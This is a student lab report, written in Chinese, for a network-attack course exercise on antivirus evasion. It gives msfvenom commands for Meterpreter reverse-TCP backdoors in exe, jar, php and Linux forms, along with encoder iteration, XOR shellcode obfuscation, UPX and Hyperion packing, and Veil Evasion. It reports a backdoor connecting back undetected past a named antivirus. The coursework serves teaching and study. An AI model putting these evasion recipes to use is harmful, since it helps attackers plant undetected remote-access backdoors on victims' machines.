2020-2021-2 20184307【网络对抗技术】Exp3 免杀原理与实践
Exp3 免杀原理与实践
前言
免杀
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
免杀效果检测
一、实验内容
实践内容(4分)
1.1 方法(3分)
- 正确使用msf编码器(0.5分),
- msfvenom生成如jar之类的其他文件(0.5分),
- veil(0.5分),
- 加壳工具(0.5分),
- 使用C + shellcode编程(0.5分),
- 使用其他课堂未介绍方法(0.5分)
1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
二、基础问题回答
2.1基础问题回答
(1)杀软是如何检测出恶意代码的?
基于特征码的检测:一段特征码就是一段或多段数据,如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
启发式恶意软件检测:利用恶意软件检测,把它当成一个恶意软件进行检查。典型的行为有连接恶意网站/开放端口/修改系统文件,典型的外观有文件本身签名/结构/厂商等信息。
基于行为的恶意软件检测:相当于是一种启发式或是加入了行为监控的启发式
(2)免杀是做什么?
保证后门程序不被杀毒软件/安全软件发现
(3)免杀的基本方法有哪些?
文件免杀
加花
修改文件特征码
加壳
修改加壳后的文件
内存免杀
修改内存特征
行为免杀
加花(加区加花/去头加花)
特征码定位(直接替换/二叉树)
特征码修改(直接修改/跳转修改)
加壳(压缩/加密)+修改加壳后的文件
(4)开启杀软能绝对防止电脑中恶意代码吗?
从实验结果来看显然是不可以的
三、实验过程
3.1 基础免杀方法
使用msf编码器生成后门(exe.)
使用命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.113 LPORT=4307 -f exe > mark_backdoor_1.exe
我们通过virustotal去扫描
据说编码次数越多越不容易被查杀,那么我们就再来试一试编码12次的msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=192.168.1.113 LPORT=4307 -f exe > 4307twelve.exe
我们再次在virustotal扫描,发现还是查出来了
使用msf编码生成后门jar及检测
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.113 LPORT=4307 x> 4307ava.jar
使用msfvenom生成php文件及检测
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.113 LPORT=4307 x> 4307.php
使用msfvenom生成linux文件及检测
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.113 LPORT=4307 x> 4307_linux
我们发现virustotal无法检测出来,网站上没有一款杀软杀出来这个后门
3.2通过veil平台生成后门
3.3使用C+Shellcode编程及检测
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.113 LPORT=4307 -f c
我们输入代码生成一段shellcode
我们输入touch shellcode_4307.c
生成一个文件,用vim shellcode_4307.c
编辑shellcode的c语言程序
i686-w64-mingw32-g++ shellcode_4307.c -o shellcode_4307.exe
然后我们进行编译
进行扫描
##使用加壳工具(UPX/Hyperion)及检测
压缩壳: UPX
upx shellcode_4307.exe -o ke_shellcode_4307.exe
为shellcode程序加上压缩壳
加密壳: Hyperion
首先我们需要确定系统装有Hyperion的软件包我们才可以正常使用它
sudo apt-get install hyperion
我们使用Hyperion加密必须在同一文件路径下才能进行
进行文件的检测
至于加壳为什么不能彻底避免杀软检测,老师给出了一种说法:原因在于加密过的代码段的熵太高
3.4使用其他课堂未介绍的方法
输入use Evasion
输入list指令,我们选择第28个,输入指令use 28完成选择,然后一一进行配置
我们可以生成runme.bat文件
然后进行扫描
3.5通过组合应用各种技术实现恶意代码免杀
首先生成一段shellcode
将生成的shellcode复制到codeblock中,然后输入代码进行编译
int main
{
int i;
for (i = 0; i < sizeof(buf); i++)
{
buf[i] ^= 0x01;
printf("\x%x",buf[i]);
}
}
`
将生成的结果复制下来,这时输入指令vim shellcode-2018430701.c编写生成的.c文件,最后在对生成的文件进行加壳
杀软并没有杀出我这个文件
3.6连通另外一台电脑并且没有被检测出来
受害者电脑杀软是腾讯电脑管家13.7
四、实验总结与体会
本次实验可以当作后门原理与实践的善始善终,我们从攻击方角度就是要去思考怎么样生成程序杀软查不到,这也给我一些经验,做免杀要从不同方面入手才行,因为我们可以给shellcode加密,可以加壳等等这些都是可以嵌套的,而杀软看上去并不擅长的一层一层剥开我们的壳,所以用不同的壳来包装shellcode也不失为一种好办法。那从守方来考虑,现在各种恶意程序层出不穷,考虑到实际应用,魔高一尺道高一丈,免杀技术高速发展下新免杀技术一出现就会被各大安全厂商盯上,攻击技术与防御技术之间的激烈对抗不断推动着我们信息安全技术的发展。
这次实验总体上来说还是很有难度的,很多地方也是通过同学帮助才完成的,但也深刻了解了如今信息安全问题愈发的严峻了。